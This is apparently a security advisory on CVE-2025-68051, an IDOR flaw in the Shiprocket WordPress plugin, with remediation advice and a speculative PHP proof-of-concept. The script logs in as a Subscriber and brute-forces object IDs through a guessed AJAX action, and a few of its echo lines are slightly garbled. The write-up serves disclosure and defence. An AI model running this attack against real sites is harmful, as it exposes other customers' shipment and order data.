Atomic Edge analysis of CVE-2025-68051 (metadata-based):
This vulnerability is an authenticated Insecure Direct Object Reference (IDOR) in the Shiprocket WordPress plugin, affecting all versions up to 2.0.8. The flaw allows any authenticated user, including those with the low-privilege Subscriber role, to perform an unauthorized action due to missing validation on a user-controlled key.
Atomic Edge research infers the root cause is a missing authorization check on an object identifier parameter. The CWE-639 classification indicates the plugin uses a user-supplied key, likely a numeric ID or string, to directly access an object without verifying the requesting user has permission for that specific object. This pattern is common in WordPress AJAX handlers or REST endpoints that retrieve or modify data based on parameters like `order_id` or `shipment_id`. Without source code, this conclusion is inferred from the CWE and the description of a missing validation on a user controlled key.
Exploitation likely involves an authenticated HTTP request to a plugin-specific endpoint. Attackers would send a POST request to the WordPress AJAX handler (`/wp-admin/admin-ajax.php`) with an `action` parameter containing a Shiprocket-specific hook, such as `shiprocket_get_shipment` or `shiprocket_update_order`. The request would include a user-controlled key parameter, like `id` or `key`, with a value belonging to another user. The plugin processes this request because it lacks a capability check for the specific object and does not validate ownership of the referenced object.
Effective remediation requires implementing proper authorization checks. The plugin must verify the authenticated user has explicit permission to access the object referenced by the user-supplied key. Standard WordPress practice involves checking object ownership, using WordPress capability checks like `current_user_can()`, or implementing nonce verification for state-changing actions. The fix should validate the user’s role or capability against the requested object’s owner or associated permissions.
The direct impact is unauthorized action execution. Attackers with Subscriber access can perform actions intended for higher-privileged users, such as administrators or shop managers. Depending on the plugin’s functionality, this could lead to unauthorized viewing of shipment details, modification of order tracking data, or interference with e-commerce logistics. The CVSS vector indicates low impact on confidentiality and availability, with a low impact on integrity.
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// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68051 - Shiprocket <= 2.0.8 - Authenticated (Subscriber+) Insecure Direct Object Reference
<?php
/*
* Proof of Concept for CVE-2025-68051.
* This script demonstrates an authenticated Insecure Direct Object Reference (IDOR) attack.
* Assumptions based on CWE-639 and WordPress plugin patterns:
* 1. The plugin exposes an AJAX endpoint for authenticated users.
* 2. The endpoint accepts a user-controlled key parameter (e.g., 'id', 'key', 'shipment_id').
* 3. The endpoint lacks authorization checks, allowing access to objects belonging to other users.
* The exact action name and parameter are inferred; real exploitation requires discovery.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber'; // Attacker's low-privilege username
$password = 'password'; // Attacker's password
// Simulate a login to obtain authentication cookies.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
curl_close($ch);
// Craft the IDOR exploit request.
// The 'action' parameter is inferred from the plugin slug. Common patterns include 'shiprocket_get_data' or 'shiprocket_action'.
// The 'id' parameter is the user-controlled key. An attacker would iterate through numeric IDs or guess valid keys.
$exploit_data = [
'action' => 'shiprocket_get_shipment', // Inferred AJAX action hook
'id' => '123', // User-controlled key. Attacker would brute-force this value.
// Other potential parameter names: 'key', 'shipment_id', 'order_id'
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $exploit_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_COOKIEJAR => 'cookies.txt',
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Clean up cookie file.
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
echo "HTTP Response Code: $http_coden";
echo "Response Body:n$responsen";
// A successful exploit returns data for object ID 123, which the Subscriber user does not own.
?>
